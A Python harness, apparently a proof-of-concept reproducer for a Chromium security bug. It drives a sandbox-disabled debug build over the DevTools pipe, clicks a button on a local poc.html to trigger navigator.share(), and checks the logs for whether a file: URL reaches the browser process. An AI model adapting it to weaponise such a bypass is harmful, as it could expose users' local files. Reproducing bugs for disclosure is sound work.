#!/usr/bin/env python3
"""
Drives Chrome via --remote-debugging-pipe (CDP over fd 3/4, NUL-delimited JSON)
to deliver one real mouse click to poc.html. The click provides the transient
user activation that navigator.share() requires in production.

stderr from Chrome is tee'd to stdout so the POC-OBSERVE browser-process log
line is visible.
"""
import fcntl, json, os, subprocess, sys, threading, time

CHROME = os.environ.get("CHROME", "/chromium/chromium/src/out/asan/chrome")
URL    = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8000/poc.html"

# Reserve fds 3/4 in the parent so os.pipe() picks higher numbers and we
# avoid dup2/close collisions below.
_r3 = os.open("/dev/null", os.O_RDONLY)
_r4 = os.open("/dev/null", os.O_RDONLY)
if _r3 != 3: os.dup2(_r3, 3); os.close(_r3)
if _r4 != 4: os.dup2(_r4, 4); os.close(_r4)

# pipes: parent writes->fd3, parent reads<-fd4
p_to_c_r, p_to_c_w = os.pipe()   # parent writes p_to_c_w; child reads p_to_c_r as fd 3
c_to_p_r, c_to_p_w = os.pipe()   # child writes c_to_p_w as fd 4; parent reads c_to_p_r
assert p_to_c_r > 4 and p_to_c_w > 4 and c_to_p_r > 4 and c_to_p_w > 4

args = [
    CHROME,
    "--headless=new", "--disable-gpu", "--no-sandbox",
    "--no-first-run", "--no-default-browser-check",
    "--enable-blink-features=WebShare",
    "--enable-logging=stderr", "--v=0",
    "--user-data-dir=/tmp/chrome-poc-profile-click",
    "--remote-debugging-pipe",
    URL,
]

# Chrome expects fd 3 = read end (commands in), fd 4 = write end (events out).
# Dup them in the parent so we can list them in pass_fds (close_fds=True keeps
# only pass_fds open across exec).
os.dup2(p_to_c_r, 3); os.close(p_to_c_r)
os.dup2(c_to_p_w, 4); os.close(c_to_p_w)
proc = subprocess.Popen(
    args,
    pass_fds=(3, 4),
    stdin=subprocess.DEVNULL,
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
)
os.close(3); os.close(4)
fl = fcntl.fcntl(c_to_p_r, fcntl.F_GETFL)
fcntl.fcntl(c_to_p_r, fcntl.F_SETFL, fl | os.O_NONBLOCK)

stop = False
hits = []
def pump_stderr():
    for line in iter(proc.stdout.readline, b""):
        s = line.decode(errors="replace").rstrip()
        print(s, flush=True)
        if "POC-OBSERVE" in s or "BYPASSED" in s or "share() rejected" in s:
            hits.append(s)
threading.Thread(target=pump_stderr, daemon=True).start()

_next_id = 1
def send(method, params=None, session=None):
    global _next_id
    msg = {"id": _next_id, "method": method}
    if params is not None: msg["params"] = params
    if session is not None: msg["sessionId"] = session
    _next_id += 1
    os.write(p_to_c_w, json.dumps(msg).encode() + b"\x00")
    return msg["id"]

buf = b""
def recv(want_id=None, want_method=None, timeout=15):
    global buf
    deadline = time.time() + timeout
    while time.time() < deadline:
        while b"\x00" in buf:
            chunk, buf = buf.split(b"\x00", 1)
            if not chunk: continue
            m = json.loads(chunk)
            if want_id is not None and m.get("id") == want_id: return m
            if want_method is not None and m.get("method") == want_method: return m
            # keep draining
        try:
            data = os.read(c_to_p_r, 65536)
        except BlockingIOError:
            time.sleep(0.05); continue
        except OSError:
            return None
        if not data:
            time.sleep(0.05); continue
        buf += data
    return None

# 1) find the page target
rid = send("Target.getTargets")
res = recv(want_id=rid)
page_tid = None
for t in (res or {}).get("result", {}).get("targetInfos", []):
    if t.get("type") == "page":
        page_tid = t["targetId"]; break
if not page_tid:
    # wait for target creation
    send("Target.setDiscoverTargets", {"discover": True})
    ev = recv(want_method="Target.targetCreated")
    for _ in range(30):
        if ev and ev["params"]["targetInfo"]["type"] == "page":
            page_tid = ev["params"]["targetInfo"]["targetId"]; break
        ev = recv(want_method="Target.targetCreated", timeout=2)
print(">>> page target:", page_tid, flush=True)

rid = send("Target.attachToTarget", {"targetId": page_tid, "flatten": True})
att = recv(want_method="Target.attachedToTarget")
sess = att["params"]["sessionId"]
print(">>> attached, session:", sess, flush=True)

# 2) wait for the page to load and the canShare() probe to print
time.sleep(3)

# 3) deliver one real click on the big button at (50,50)
for t in ("mousePressed", "mouseReleased"):
    send("Input.dispatchMouseEvent",
         {"type": t, "x": 50, "y": 50, "button": "left", "clickCount": 1},
         session=sess)
print(">>> click dispatched", flush=True)

# 4) wait for the browser-process log
for _ in range(80):
    if any("POC-OBSERVE" in h for h in hits): break
    time.sleep(0.1)

time.sleep(1)
proc.terminate()
try: proc.wait(5)
except Exception: proc.kill()

ok = any("POC-OBSERVE" in h and "SchemeIsFile=1" in h for h in hits)
print("\n>>> RESULT:", "BROWSER PROCESS RECEIVED file: URL" if ok else "no browser-side hit", flush=True)
sys.exit(0 if ok else 1)
